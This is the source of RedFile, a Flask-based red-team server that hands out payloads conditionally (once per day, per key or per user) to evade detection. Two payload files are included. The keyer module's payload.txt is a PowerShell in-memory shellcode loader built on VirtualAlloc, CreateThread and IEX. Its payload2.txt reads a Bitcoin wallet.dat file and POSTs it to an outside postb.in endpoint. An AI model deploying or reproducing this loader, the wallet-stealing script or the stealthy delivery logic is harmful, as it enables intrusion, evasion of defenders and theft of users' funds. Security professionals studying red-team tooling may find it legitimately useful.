├── .gitignore ├── Dockerfile-REDFILE ├── LICENSE ├── README.md ├── code ├── __init__.py ├── docker-entrypoint.sh ├── helper.py ├── m │ ├── __init__.py │ ├── daystart │ │ ├── __init__.py │ │ ├── default.txt │ │ ├── empty.txt │ │ ├── empty2.txt │ │ ├── error.txt │ │ ├── payload.txt │ │ └── payload2.txt │ ├── keyer │ │ ├── __init__.py │ │ ├── default.txt │ │ ├── error.txt │ │ ├── monkey.jpg │ │ ├── payload.txt │ │ ├── payload2.txt │ │ └── proxy.txt │ ├── onePerUser │ │ ├── __init__.py │ │ ├── alice.txt │ │ ├── default.txt │ │ ├── error.txt │ │ └── john.txt │ └── test1 │ │ └── __init__.py ├── redFile.py ├── redFile.wsgi ├── requirements.txt └── wsgi.py └── docker-compose.yml /.gitignore: -------------------------------------------------------------------------------- 1 | ### outflank own modules 2 | outflank*/ 3 | data.shelve 4 | 5 | # vscode 6 | .vscode 7 | 8 | # Byte-compiled / optimized / DLL files 9 | __pycache__/ 10 | *.py[cod] 11 | *$py.class 12 | 13 | # C extensions 14 | *.so 15 | 16 | # Distribution / packaging 17 | .Python 18 | build/ 19 | develop-eggs/ 20 | dist/ 21 | downloads/ 22 | eggs/ 23 | .eggs/ 24 | lib/ 25 | lib64/ 26 | parts/ 27 | sdist/ 28 | var/ 29 | wheels/ 30 | pip-wheel-metadata/ 31 | share/python-wheels/ 32 | *.egg-info/ 33 | .installed.cfg 34 | *.egg 35 | MANIFEST 36 | 37 | # PyInstaller 38 | # Usually these files are written by a python script from a template 39 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 40 | *.manifest 41 | *.spec 42 | 43 | # Installer logs 44 | pip-log.txt 45 | pip-delete-this-directory.txt 46 | 47 | # Unit test / coverage reports 48 | htmlcov/ 49 | .tox/ 50 | .nox/ 51 | .coverage 52 | .coverage.* 53 | .cache 54 | nosetests.xml 55 | coverage.xml 56 | *.cover 57 | *.py,cover 58 | .hypothesis/ 59 | .pytest_cache/ 60 | 61 | # Translations 62 | *.mo 63 | *.pot 64 | 65 | # Django stuff: 66 | *.log 67 | local_settings.py 68 | db.sqlite3 69 | db.sqlite3-journal 70 | 71 | # Flask stuff: 72 | instance/ 73 | .webassets-cache 74 | 75 | # Scrapy stuff: 76 | .scrapy 77 | 78 | # Sphinx documentation 79 | docs/_build/ 80 | 81 | # PyBuilder 82 | target/ 83 | 84 | # Jupyter Notebook 85 | .ipynb_checkpoints 86 | 87 | # IPython 88 | profile_default/ 89 | ipython_config.py 90 | 91 | # pyenv 92 | .python-version 93 | 94 | # pipenv 95 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 96 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 97 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 98 | # install all needed dependencies. 99 | #Pipfile.lock 100 | 101 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 102 | __pypackages__/ 103 | 104 | # Celery stuff 105 | celerybeat-schedule 106 | celerybeat.pid 107 | 108 | # SageMath parsed files 109 | *.sage.py 110 | 111 | # Environments 112 | .env 113 | .venv 114 | env/ 115 | venv/ 116 | ENV/ 117 | env.bak/ 118 | venv.bak/ 119 | 120 | # Spyder project settings 121 | .spyderproject 122 | .spyproject 123 | 124 | # Rope project settings 125 | .ropeproject 126 | 127 | # mkdocs documentation 128 | /site 129 | 130 | # mypy 131 | .mypy_cache/ 132 | .dmypy.json 133 | dmypy.json 134 | 135 | # Pyre type checker 136 | .pyre/ 137 | -------------------------------------------------------------------------------- /Dockerfile-REDFILE: -------------------------------------------------------------------------------- 1 | FROM python:3.8-slim-buster 2 | EXPOSE 8000 3 | 4 | RUN apt-get update -y; apt-get upgrade -y 5 | # You don't technically need these, but I get kind of twitchy if I don't have vim installed 6 | RUN apt-get update && apt-get install -y --no-install-recommends python3 python3-virtualenv vim ssh 7 | 8 | # Install dependencies: 9 | COPY code/requirements.txt . 10 | RUN pip install -r requirements.txt 11 | 12 | COPY code/docker-entrypoint.sh /usr/local/bin/ 13 | RUN ln -s /usr/local/bin/docker-entrypoint.sh / # backwards compat 14 | ENTRYPOINT ["docker-entrypoint.sh"] 15 | CMD ["id"] 16 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2018, Outflank B.V. 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # RedFile 2 | A flask wsgi application that serves files with intelligence, good for serving conditional RedTeam payloads. 3 | 4 | ## quickest start 5 | ``` 6 | git clone https://github.com/outflanknl/RedFile 7 | cd RedFile 8 | docker-compose up 9 | ``` 10 | (or add -d to run without logging to console) 11 | 12 | ## running code 13 | get a browser and point to: 14 | ``` 15 | http://127.0.0.1:8001/test1/one/two?three=drie 16 | ``` 17 | This will launch module 'agent', the code for that module can be found on 18 | `RedFile/code/m/test1/__init__.py` 19 | 20 | This example returns the request information and the agent information in a json. 21 | note the 'agent' field coming from the incoming function call, all other details can be obtained from the flask request object 22 | 23 | `` happy coding `` 24 | 25 | ## daystart 26 | have a look at the dstart module: 27 | `http://127.0.0.1:8001/daystart/one/two?three=drie` 28 | This will serve a payload X times at the start of the day and thereafter serve empty.txt 29 | This allows for a stealhy persistence. 30 | 31 | Not that at the end of the init function a request call can be made to another webserver for logging purposes. 32 | Storage of the state is done in `data.shelve` 33 | 34 | ## keyer 35 | keyer will serve unique contect for a certain key. 36 | The key is a string appended with an md5 of "that first half string + a secret". this means new keys can be generated on the fly and will be valid as often ad you want. 37 | 38 | example: 39 | `http://127.0.0.1:8001/keyer/7103f096074271321c6cebd743ac8d9b5b6b52d65f7e16a8a08a33570275a750/` 40 | 41 | ## onePerUser 42 | Now next level, if you can build a payload that will include the username in the call have a look at: 43 | ``` 44 | http://127.0.0.1:18080/onePerUser/?u=John 45 | http://127.0.0.1:18080/onePerUser/?u=Alice 46 | http://127.0.0.1:18080/onePerUser/?u=NotExisting 47 | ``` 48 | You will see that john.txt and alice.txt get served once, notextist.txt isn't available so error.txt will be served once there. 49 | All calls after that point will serve 'default.txt'. 50 | 51 | Consider a cronjob that deletes data.shelve every night to have a select group of users being served a payload once a day :) 52 | 53 | # OPSEC 54 | ofcourse, this is proof of concept code. Consider using a proxy like haproxy to rewrite calls and have them end up at the correct module, also consider building encryption of obfuscation on the url and parameter. -------------------------------------------------------------------------------- /code/__init__.py: -------------------------------------------------------------------------------- 1 | __all__ = ["redFile"] 2 | -------------------------------------------------------------------------------- /code/docker-entrypoint.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #set -e 3 | cd /code/ 4 | 5 | #sleep 20 6 | 7 | while : 8 | do 9 | echo "Press [CTRL+C] to stop.." 10 | gunicorn -w 8 --reload --bind 0.0.0.0:8000 wsgi:app 11 | echo "Exitted, wait 20 seconds for retry" 12 | sleep 20 13 | done 14 | -------------------------------------------------------------------------------- /code/helper.py: -------------------------------------------------------------------------------- 1 | # Part of RedFile 2 | # 3 | # Author: Outflank B.V. / Mark Bergman / @xychix 4 | # 5 | # License : BSD3 6 | def getContentType(ext): 7 | dd = { "a": "application/octet-stream", 8 | "ai": "application/postscript", 9 | "aif": "audio/x-aiff", 10 | "aifc": "audio/x-aiff", 11 | "aiff": "audio/x-aiff", 12 | "au": "audio/basic", 13 | "avi": "video/x-m svideo", 14 | "bat": "text/plain", 15 | "bin": "application/octet-stream", 16 | "bmp": "image/x-ms-bmp", 17 | "c": "text/plain", 18 | "cdf": "application/x-cdf", 19 | "csh": "application/x-csh", 20 | "css": "text/css", 21 | "dll": "application/octet-stream", 22 | "doc": "application/msword", 23 | "dot": "application/msword", 24 | "dvi": "application/x-dvi", 25 | "eml": "message/rfc822", 26 | "eps": "application/postscript", 27 | "etx": "text/x-setext", 28 | "exe": "application/octet-stream", 29 | "gif": "image/gif", 30 | "gtar": "application/x-gtar", 31 | "h": "text/plain", 32 | "hdf": "application/x-hdf", 33 | "htm": "text/html", 34 | "html": "text/html", 35 | "jpe": "image/jpeg", 36 | "jpeg": "image/jpeg", 37 | "jpg": "image/jpeg", 38 | "js": "application/x-javascript", 39 | "json": "application/json", 40 | "ksh": "text/plain", 41 | "latex": "application/x-latex", 42 | "m1v": "video/mpeg", 43 | "man": "application/x-troff-man", 44 | "me": "application/x-troff-me", 45 | "mht": "message/rfc822", 46 | "mhtml": "message/rfc822", 47 | "mif": "application/x-mif", 48 | "mov": "video/quicktime", 49 | "movie": "video/x-sgi-movie", 50 | "mp2": "audio/mpeg", 51 | "mp3": "audio/mpeg", 52 | "mp4": "video/mp4", 53 | "mpa": "video/mpeg", 54 | "mpe": "video/mpeg", 55 | "mpeg": "video/mpeg", 56 | "mpg": "video/mpeg", 57 | "ms": "application/x-troff-ms", 58 | "nc": "application/x-netcdf", 59 | "nws": "message/rfc822", 60 | "o": "application/octet-stream", 61 | "obj": "application/octet-stream", 62 | "oda": "application/oda", 63 | "pbm": "image/x-portable-bitmap", 64 | "pdf": "application/pdf", 65 | "pfx": "application/x-pkcs12", 66 | "pgm": "image/x-portable-graymap", 67 | "png": "image/png", 68 | "pnm": "image/x-portable-anymap", 69 | "pot": "application/vnd.ms-powerpoint", 70 | "ppa": "application/vnd.ms-powerpoint", 71 | "ppm": "image/x-portable-pixmap", 72 | "pps": "application/vnd.ms-powerpoint", 73 | "ppt": "application/vnd.ms-powerpoint", 74 | "pptx": "application/vnd.ms-powerpoint", 75 | "ps": "application/postscript", 76 | "pwz": "application/vnd.ms-powerpoint", 77 | "py": "text/x-python", 78 | "pyc": "application/x-python-code", 79 | "pyo": "application/x-python-code", 80 | "qt": "video/quicktime", 81 | "ra": "audio/x-pn-realaudio", 82 | "ram": "application/x-pn-realaudio", 83 | "ras": "image/x-cmu-raster", 84 | "rdf": "application/xml", 85 | "rgb": "image/x-rgb", 86 | "roff": "application/x-troff", 87 | "rtx": "text/richtext", 88 | "sgm": "text/x-sgml", 89 | "sgml": "text/x-sgml", 90 | "sh": "application/x-sh", 91 | "shar": "application/x-shar", 92 | "snd": "audio/basic", 93 | "so": "application/octet-stream", 94 | "src": "application/x-wais-source", 95 | "swf": "application/x-shockwave-flash", 96 | "t": "application/x-troff", 97 | "tar": "application/x-tar", 98 | "tcl": "application/x-tcl", 99 | "tex": "application/x-tex", 100 | "texi": "application/x-texinfo", 101 | "texinfo": "application/x-texinfo", 102 | "tif": "image/tiff", 103 | "tiff": "image/tiff", 104 | "tr": "application/x-troff", 105 | "tsv": "text/tab-separated-values", 106 | "txt": "text/plain", 107 | "ustar": "application/x-ustar", 108 | "vcf": "text/x-vcard", 109 | "wav": "audio/x-wav", 110 | "wiz": "application/msword", 111 | "wsdl": "application/xml", 112 | "xbm": "image/x-xbitmap", 113 | "xlb": "application/vnd.ms-excel", 114 | "xls": "application/vnd.ms-e xcel", 115 | "xlsx": "application/vnd.ms-excel", 116 | "xml": "text/xml", 117 | "xpdl": "application/xml", 118 | "xpm": "image/x-xpixmap", 119 | "xsl": "application/xml", 120 | "xwd": "image/x-xwindowdump", 121 | "zip": "application/zip"} 122 | if ext in dd: return(dd[ext]) 123 | else: return('plain/unknown') 124 | -------------------------------------------------------------------------------- /code/m/__init__.py: -------------------------------------------------------------------------------- 1 | import os 2 | -------------------------------------------------------------------------------- /code/m/daystart/__init__.py: -------------------------------------------------------------------------------- 1 | # Part of RedFile 2 | # 3 | # Author: Outflank B.V. / Mark Bergman / @xychix 4 | # 5 | # License : BSD3 6 | import shelve 7 | import codecs 8 | import os 9 | from hashlib import md5 10 | import helper 11 | import datetime 12 | import requests 13 | 14 | ### CONSTANTS 15 | DEBUG = True 16 | debug_hosts = ["debug","desktop-test"] 17 | log_host = "127.0.0.1" 18 | 19 | fileTable = {-2 : "debug.only.txt", 20 | -1 : "error.txt", 21 | 0 : "payload.txt", 22 | 1 : "payload.txt", 23 | 2 : "empty.txt"} 24 | 25 | for i in range(3,999): 26 | fileTable[i] = "empty2.txt" 27 | 28 | #for i in range(5,999): 29 | # fileTable[i] = "monkey.jpg" 30 | 31 | ## usage: 32 | # http://127.0.0.1:18080/dstart/test/?name=testName 33 | # basic url or redirector.....................|modname|key.....|notused 34 | class f(): 35 | def __init__(self,module,req={}): 36 | self.key = datetime.date.today().strftime("%Y%m%d") 37 | cwd = os.path.dirname(os.path.realpath(__file__)) 38 | self.folder = cwd 39 | self.scoreRes = self.score() 40 | req_host = req.path.split('/')[-1][:-4][::-1] 41 | if self.scoreRes in fileTable: 42 | self.returnFile = fileTable[self.scoreRes] 43 | else: 44 | self.returnFile = fileTable[0] 45 | #### DEBUG PORTION 46 | url_append ="" 47 | if DEBUG: 48 | if req_host in debug_hosts: 49 | self.returnFile = fileTable[-2] 50 | url_append = "&debugpayload=%s"%(self.returnFile) 51 | #### END DEBUG 52 | req_served = fileTable[self.scoreRes] 53 | #r =requests.get('http://%s/log/crl/?mod=dstart&host=%s&served=%s&key=%s&score=%s%s'%(log_host,req_host,req_served,self.key,self.scoreRes,url_append)) 54 | 55 | def score(self): 56 | d = shelve.open('%s/data.shelve'%self.folder) 57 | if not self.key in d: 58 | #the key is new 59 | d[self.key] = 1 60 | return(1) 61 | else: 62 | d[self.key] += 1 63 | return(d[self.key]) 64 | return(-1) 65 | 66 | def fileContent(self): 67 | ff = self.returnFile 68 | with open("%s/%s"%(self.folder,ff), 'rb') as f: 69 | return f.read() 70 | 71 | def fileType(self): 72 | ff = self.returnFile.split('.')[1] 73 | return(helper.getContentType(ff)) 74 | -------------------------------------------------------------------------------- /code/m/daystart/default.txt: -------------------------------------------------------------------------------- 1 | default 2 | -------------------------------------------------------------------------------- /code/m/daystart/empty.txt: -------------------------------------------------------------------------------- 1 | empty 2 | -------------------------------------------------------------------------------- /code/m/daystart/empty2.txt: -------------------------------------------------------------------------------- 1 | empty2 2 | 3 | -------------------------------------------------------------------------------- /code/m/daystart/error.txt: -------------------------------------------------------------------------------- 1 | error 2 | -------------------------------------------------------------------------------- /code/m/daystart/payload.txt: -------------------------------------------------------------------------------- 1 | payload 2 | -------------------------------------------------------------------------------- /code/m/daystart/payload2.txt: -------------------------------------------------------------------------------- 1 | payload2 2 | -------------------------------------------------------------------------------- /code/m/keyer/__init__.py: -------------------------------------------------------------------------------- 1 | # Part of RedFile 2 | # 3 | # Author: Outflank B.V. / Mark Bergman / @xychix 4 | # 5 | # License : BSD3 6 | import shelve 7 | import codecs 8 | import os 9 | from hashlib import md5 10 | import helper 11 | 12 | ### CONSTANTS 13 | secret = "YOURSECRETHERE" 14 | fileTable = { -1 : "error.txt", 15 | 0 : "default.txt", 16 | 1 : "proxy.txt", 17 | 2 : "payload.txt"} 18 | 19 | for i in range(3,5): 20 | fileTable[i] = "payload2.txt" 21 | 22 | for i in range(5,99): 23 | fileTable[i] = "monkey.jpg" 24 | 25 | ## usage: 26 | # http://127.0.0.1:18080/keyer/7103f096074271321c6cebd743ac8d9b5b6b52d65f7e16a8a08a33570275a750/test 27 | # basic url or redirector.....................|modname|key.....|notused 28 | class f(): 29 | def __init__(self,module,req={}): 30 | self.key = req.path.split('/')[2] 31 | #self.key = key.encode("utf-8",'ignore') 32 | cwd = os.path.dirname(os.path.realpath(__file__)) 33 | self.folder = cwd 34 | self.scoreRes = self.score() 35 | if self.scoreRes in fileTable: 36 | self.returnFile = fileTable[self.scoreRes] 37 | else: 38 | self.returnFile = fileTable[0] 39 | 40 | def score(self): 41 | d = shelve.open('%s/data.shelve'%self.folder) 42 | if len(self.key) != 64: 43 | return(False) 44 | stok = self.key[:32] 45 | tok = self.key[32:] 46 | chk = "%s%s"%(secret,tok) 47 | if stok == md5(chk.encode('utf-8')).hexdigest(): 48 | #the key is valid 49 | if not self.key in d.keys(): 50 | #the key is new 51 | d[self.key] = 1 52 | return(1) 53 | else: 54 | d[self.key] += 1 55 | return(d[self.key]) 56 | return(-1) 57 | 58 | def fileContent(self): 59 | ff = self.returnFile 60 | with open("%s/%s"%(self.folder,ff), 'rb') as f: 61 | #return("%s %s"%(self.returnFile,self.key)) ## useful for debugging 62 | return f.read() 63 | 64 | def fileType(self): 65 | ff = self.returnFile.split('.')[1] 66 | return(helper.getContentType(ff)) 67 | 68 | def newKey(): 69 | from hashlib import md5 70 | from time import time 71 | strTime = str(time()).encode('utf-8') 72 | tok = md5(strTime).hexdigest() 73 | chk = "%s%s"%(secret,tok) 74 | stok = md5(chk.encode('utf-8')).hexdigest() 75 | key = "%s%s"%(stok,tok) 76 | return(key) -------------------------------------------------------------------------------- /code/m/keyer/default.txt: -------------------------------------------------------------------------------- 1 | default.txt -------------------------------------------------------------------------------- /code/m/keyer/error.txt: -------------------------------------------------------------------------------- 1 | error 2 | -------------------------------------------------------------------------------- /code/m/keyer/monkey.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/outflanknl/RedFile/480ea6009a549746093e4a89844362cb06c79e60/code/m/keyer/monkey.jpg -------------------------------------------------------------------------------- /code/m/keyer/payload.txt: -------------------------------------------------------------------------------- 1 | Set-StrictMode -Version 2 2 | 3 | $DoIt = @' 4 | function func_get_proc_address { 5 | Param ($var_module, $var_procedure) 6 | $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') 7 | 8 | return $var_unsafe_native_methods.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)) 9 | } 10 | 11 | function func_get_delegate_type { 12 | Param ( 13 | [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters, 14 | [Parameter(Position = 1)] [Type] $var_return_type = [Void] 15 | ) 16 | 17 | $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 18 | $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed') 19 | $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed') 20 | 21 | return $var_type_builder.CreateType() 22 | } 23 | 24 | [Byte[]]$var_code = [System.Convert]::FromBase64String("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==") 25 | 26 | $var_buffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $var_code.Length,0x3000, 0x40) 27 | [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length) 28 | 29 | $var_hthread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll CreateThread), (func_get_delegate_type @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$var_buffer,[IntPtr]::Zero,0,[IntPtr]::Zero) 30 | [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll WaitForSingleObject), (func_get_delegate_type @([IntPtr], [Int32]))).Invoke($var_hthread,0xffffffff) | Out-Null 31 | '@ 32 | 33 | If ([IntPtr]::size -eq 8) { 34 | start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job 35 | } 36 | else { 37 | IEX $DoIt 38 | } 39 | -------------------------------------------------------------------------------- /code/m/keyer/payload2.txt: -------------------------------------------------------------------------------- 1 | $b = [IO.File]::ReadAllText("$env:APPDATA\Bitcoin\wallet.dat") 2 | $bu = [text.encoding]::ascii.getbytes($b) 3 | $u="http://postb.in/2HKymBLm" 4 | [net.httpWebRequest] $req = [net.webRequest]::create($u) 5 | $req.method = "POST" 6 | $req.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" 7 | $req.Headers.Add("Accept-Language: en-US") 8 | $req.Headers.Add("Accept-Encoding: gzip,deflate") 9 | $req.Headers.Add("Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7") 10 | $req.AllowAutoRedirect = $false 11 | $req.ContentType = "application/x-www-form-urlencoded" 12 | $req.ContentLength = $bu.length 13 | $req.TimeOut = 50000 14 | $req.KeepAlive = $true 15 | $req.Headers.Add("Keep-Alive: 300") 16 | $reqst = $req.getRequestStream() 17 | $reqst.write($bu, 0, $bu.length) 18 | $reqst.flush() 19 | $reqst.close() 20 | [net.httpWebResponse] $res = $req.getResponse() 21 | $resst = $res.getResponseStream() 22 | $sr = new-object IO.StreamReader($resst) 23 | $result = $sr.ReadToEnd() 24 | $res.close() 25 | -------------------------------------------------------------------------------- /code/m/keyer/proxy.txt: -------------------------------------------------------------------------------- 1 | User-agent: * 2 | Disallow: /search 3 | Allow: /search/about 4 | Allow: /search/static 5 | Allow: /search/howsearchworks 6 | Disallow: /sdch 7 | Disallow: /groups 8 | Disallow: /index.html? 9 | Disallow: /? 10 | Allow: /?hl= 11 | Disallow: /?hl=*& 12 | Allow: /?hl=*&gws_rd=ssl$ 13 | Disallow: /?hl=*&*&gws_rd=ssl 14 | Allow: /?gws_rd=ssl$ 15 | Allow: /?pt1=true$ 16 | Disallow: /imgres 17 | Disallow: /u/ 18 | Disallow: /preferences 19 | Disallow: /setprefs 20 | Disallow: /default 21 | Disallow: /m? 22 | Disallow: /m/ 23 | Allow: /m/finance 24 | Disallow: /wml? 25 | Disallow: /wml/? 26 | Disallow: /wml/search? 27 | Disallow: /xhtml? 28 | Disallow: /xhtml/? 29 | Disallow: /xhtml/search? 30 | Disallow: /xml? 31 | Disallow: /imode? 32 | Disallow: /imode/? 33 | Disallow: /imode/search? 34 | Disallow: /jsky? 35 | Disallow: /jsky/? 36 | Disallow: /jsky/search? 37 | Disallow: /pda? 38 | Disallow: /pda/? 39 | Disallow: /pda/search? 40 | Disallow: /sprint_xhtml 41 | Disallow: /sprint_wml 42 | Disallow: /pqa 43 | Disallow: /palm 44 | Disallow: /gwt/ 45 | Disallow: /purchases 46 | Disallow: /local? 47 | Disallow: /local_url 48 | Disallow: /shihui? 49 | Disallow: /shihui/ 50 | Disallow: /products? 51 | Disallow: /product_ 52 | Disallow: /products_ 53 | Disallow: /products; 54 | Disallow: /print 55 | Disallow: /books/ 56 | Disallow: /bkshp?*q=* 57 | Disallow: /books?*q=* 58 | Disallow: /books?*output=* 59 | Disallow: /books?*pg=* 60 | Disallow: /books?*jtp=* 61 | Disallow: /books?*jscmd=* 62 | Disallow: /books?*buy=* 63 | Disallow: /books?*zoom=* 64 | Allow: /books?*q=related:* 65 | Allow: /books?*q=editions:* 66 | Allow: /books?*q=subject:* 67 | Allow: /books/about 68 | Allow: /booksrightsholders 69 | Allow: /books?*zoom=1* 70 | Allow: /books?*zoom=5* 71 | Allow: /books/content?*zoom=1* 72 | Allow: /books/content?*zoom=5* 73 | Disallow: /ebooks/ 74 | Disallow: /ebooks?*q=* 75 | Disallow: /ebooks?*output=* 76 | Disallow: /ebooks?*pg=* 77 | Disallow: /ebooks?*jscmd=* 78 | Disallow: /ebooks?*buy=* 79 | Disallow: /ebooks?*zoom=* 80 | Allow: /ebooks?*q=related:* 81 | Allow: /ebooks?*q=editions:* 82 | Allow: /ebooks?*q=subject:* 83 | Allow: /ebooks?*zoom=1* 84 | Allow: /ebooks?*zoom=5* 85 | Disallow: /patents? 86 | Disallow: /patents/download/ 87 | Disallow: /patents/pdf/ 88 | Disallow: /patents/related/ 89 | Disallow: /scholar 90 | Disallow: /citations? 91 | Allow: /citations?user= 92 | Disallow: /citations?*cstart= 93 | Allow: /citations?view_op=new_profile 94 | Allow: /citations?view_op=top_venues 95 | Allow: /scholar_share 96 | Disallow: /s? 97 | Allow: /maps?*output=classic* 98 | Allow: /maps?*file= 99 | Allow: /maps/api/js? 100 | Allow: /maps/d/ 101 | Disallow: /maps? 102 | Disallow: /mapstt? 103 | Disallow: /mapslt? 104 | Disallow: /maps/stk/ 105 | Disallow: /maps/br? 106 | Disallow: /mapabcpoi? 107 | Disallow: /maphp? 108 | Disallow: /mapprint? 109 | Disallow: /maps/api/js/ 110 | Disallow: /maps/api/staticmap? 111 | Disallow: /maps/api/streetview 112 | Disallow: /mld? 113 | Disallow: 